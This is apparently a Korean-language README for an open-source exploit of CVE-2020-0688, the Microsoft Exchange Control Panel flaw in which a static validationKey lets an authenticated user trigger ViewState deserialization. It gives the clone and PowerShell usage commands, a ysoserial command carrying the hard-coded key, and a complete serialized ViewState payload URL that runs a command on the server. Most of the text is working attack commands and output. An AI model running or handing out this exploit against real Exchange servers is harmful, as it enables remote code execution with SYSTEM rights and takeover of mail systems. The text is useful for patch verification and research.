
Microsoft Exchange Server에서 고정된 암호화 키를 통한 원격 코드 실행
Microsoft Exchange Server가 설치 시 고유 키를 제대로 생성하지 못할 때 원격 코드 실행 취약점이 존재합니다.
유효성 검사 키를 알면 사서함이 있는 인증된 사용자가 웹 애플리케이션(SYSTEM 권한으로 실행됨)에 의해 역직렬화될 임의의 개체를 전달할 수 있습니다.
이 버그는 ECP(Exchange Control Panel) 구성 요소에서 발견됩니다. 버그의 성격은 매우 간단합니다. 설치별로 무작위로 생성된 키를 사용하는 대신, 모든 Microsoft Exchange Server 설치에서 web.config에 동일한 validationKey 및 decryptionKey 값이 있습니다. 이러한 키는 ViewState 보안을 제공하는 데 사용됩니다. ViewState는 ASP.NET 웹 애플리케이션이 클라이언트에 직렬화된 형식으로 저장하는 서버 측 데이터입니다. 클라이언트는 __VIEWSTATE 요청 매개변수를 통해 이 데이터를 서버에 다시 제공합니다.
정적 키를 사용하기 때문에 인증된 공격자는 서버가 악의적으로 조작된 ViewState 데이터를 역직렬화하도록 속일 수 있습니다. YSoSerial.net의 도움으로 공격자는 SYSTEM 권한으로 실행되는 Exchange Control Panel 웹 애플리케이션의 컨텍스트에서 서버에서 임의의 .NET 코드를 실행할 수 있습니다. (출처)
다음 지침에 따라 프로젝트의 사본을 가져와 로컬 머신에서 개발 및 테스트 목적으로 실행할 수 있습니다.
git clone https://github.com/MrTiz/CVE-2020-0688.git
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url <url> -Username <username> -Password <password> -Command <command> -YsoserialPath <ysoserialpath>
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://localhost' -Username 'domain\username' -Password 'REDACTED' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe'
[*] Start to exploit...
[+] Login url: https://localhost:443/owa/auth.owa
[*] Status code: 200
[+] Login successfully!
[*] Tring to get __VIEWSTATEGENERATOR...
[+] Done! __VIEWSTATEGENERATOR: B97B4E27
[*] Tring to get ASP.NET_SessionId...
[+] Done! ASP.NET_SessionId: 624abfff-85b6-4357-be8c-18a931cad256
C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell whoami > C:/whoami.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="624abfff-85b6-4357-be8c-18a931cad256" --islegacy --isdebug
[+] Exp url: https://localhost:443/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyywYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADtBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BcG93ZXJzaGVsbDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BIndob2FtaSAmZ3Q7IEM6L3dob2FtaS50eHQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgviru9bDCgMPT0snH0s0u%2BA6J37Fg%3D%3D
[*] Auto trigger payload...
[+] Status code: 500, Maybe success!
기여는 오픈 소스 커뮤니티를 배우고 영감을 얻고 창작하기 좋은 장소로 만듭니다. 여러분이 제공하는 모든 기여는 매우 감사히 여겨집니다.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)이 익스플로잇은 교육 및 연구 목적으로만 개발 및 게시되었습니다. 작성자는 불법적인 사용에 대해 어떠한 책임도 지지 않습니다. 자신의 위험을 감수하고 테스트할 권한이 있는 시스템에 대해서만 사용하십시오.
이 프로젝트는 GNU General Public License v3.0에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.